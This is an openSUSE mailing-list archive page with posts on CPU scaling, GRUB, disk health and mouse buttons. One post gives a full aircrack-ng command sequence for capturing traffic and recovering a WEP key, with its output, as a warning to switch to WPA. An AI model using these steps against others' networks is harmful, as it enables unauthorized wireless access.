[opensuse] How do I control power management CPU frequency scaling in OpenSUSE 11.1?
by John Lange 03 Mar '09

03 Mar '09

My Laptop CPU frequency scales even when plugged into AC power and I'd like to disable that feature. How do I do that in OpenSUSE 11.1? The "Power Management" tool in "Control Center" only has options for the display and suspend settings, nothing for the CPU (It used to be there didn't it?). The CPU frequency widget in the toolbar also does not have an option to disable scaling. I know I can probably echo something to /proc but I'm looking for the desktop GUI way, not the command line.

[opensuse] Still think you WEP protection is sufficient for home use?
by David C. Rankin 03 Mar '09

03 Mar '09

Listmates: I had dropped WPA-tkip protection for WEP so my son and daughter could access the internet with their Nintendo DS game console. After doing so, I decided to poke around a bit to see how easy it was to break WEP encryption. To my utter dismay -- it was simple. True to the claims, it takes less than 60 seconds. After poking around a bit with google, I found the aircrack-ng link: http://www.aircrack-ng.org/doku.php?id= After a quick svn checkout of the latest, an install of libpcap-devel and a: make SQLITE=true make SQLITE=true install I issued the normal scan command for my wireless network to get the needed information: Skyline Bab... 00:1c:df:e2:7c:95 6 54M 40:0 100 EPs WEP I then issued the few commands needed to see if I could find my WEP key. On three separate console windows, this was all it took: ## [Console 1 as root] ## Stop your wireless card and re-start the card in monitor mode: airmon-ng stop ath0 iwconfig # to confirm airmon-ng start wifi0 6 # 6 is the channel from above ## Test for working Wireless Device Packet Injection aireplay-ng -9 -e "Skyline Bab..." -a 00:1c:df:e2:7c:95 ath0 ## Start airodump-ng to capture the IVs (open another console) airodump-ng -c 6 --bssid 00:1c:df:e2:7c:95 -w output ath0 ## [Console 2 as root] ## Use aireplay-ng to do a fake authentication with the access point aireplay-ng -1 0 -e "Skyline Bab..." -a 00:1c:df:e2:7c:95 -h 00:1B:9E:7C:F6:E7 ath0 ## Start aireplay-ng in ARP request replay mode aireplay-ng -3 -b 00:1c:df:e2:7c:95 -h 00:1B:9E:7C:F6:E7 ath0 ## [Console 3 as root] ## Run aircrack-ng to decipher and obtain the WEP key aircrack-ng -z -b 00:1c:df:e2:7c:95 output*.cap Less than 15 seconds later (not real key): KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 ) Decrypted correctly: 100% Thankfully, my MAC filter prevented a connection, but can you say spoof of the old mac address. After a connection is made, a quick fire up of wireshark will quickly disclose the remaining DNS information, etc. needed to fully utilize your wireless. What was further baffling, after checking a few networks, I found 90% of all the WEP keys were still left as the default key of '12345'. If you are running WEP, it might be time to move your security to at lease WPA Personal if not to WPA+AEN/(RSN). Needless to say, my kids no longer have internet access for their Nintendo DS's. Good think the Playstation PSP will do WPA;-) -- David C. Rankin, J.D.,P.E.

[opensuse] GRUB loclup - sort of
by Christopher Dick 03 Mar '09

03 Mar '09

I recently did a kernel update - the most recent security update - for my opensuse 11.1 box, and now it seems GRUB locks up. But the system doesn't, which is odd to me. At the graphical menu, GRUB will not accept any keyboard input. I can't type and add boot options, or delete what's there. I can't change menu selections or use function keys for the options at the bottom of the screen. I can't drop to GRUB CLI. However, num lock goes on and off, as do caps and scroll, when pressed. I can C-A-D and reboot, but then it just goes right back to the menu and stops. Do I need to boot to the rescue CD and reinstall GRUB? Any help is appreciated.

[opensuse] Disk dying ?
by Koenraad Lelong 03 Mar '09

Hi, In a bit more than a year, my parent's laptop stopped booting after fsck a partition three times now. After the first time I installed 10.3. Later I manually ran fsck and let it repair the partition. Since I never had this on several other PC's I suspect the disk is dying so I ran smartctl's extended test.

[opensuse] Explorer 4.0 Mouse w/8 buttons? Any tricks?

Listmates: I purchased a couple of ms explorer 4.0 usb/ps2 mice that were being clearanced ($6.99) and now I am experimenting with all the buttons, etc. on my laptop (11.0 kde3). Amazingly all but 2 of the buttons have functionality by just plugging it in. My best summary of the default functionality is: left button: normal right button: normal scroll wheel: normal wheel button: normal fwd thumb button: page forward in Firefox rear thumb button: page back in Firefox left tilt of scroll wheel: nothing right tilt of scroll wheel: nothing I have found some old posts (2004) regarding the need for EVDEV to be enabled in the kernel and it is: 20:18 alchemy:/usr/src/linux> grep -i evdev .config CONFIG_INPUT_EVDEV=y What other tricks can I do with this thing? Anybody else ever worked with one of these? Any links or info would be greatly appreciated. Thanks. -- David C. Rankin, J.D.,P.E.
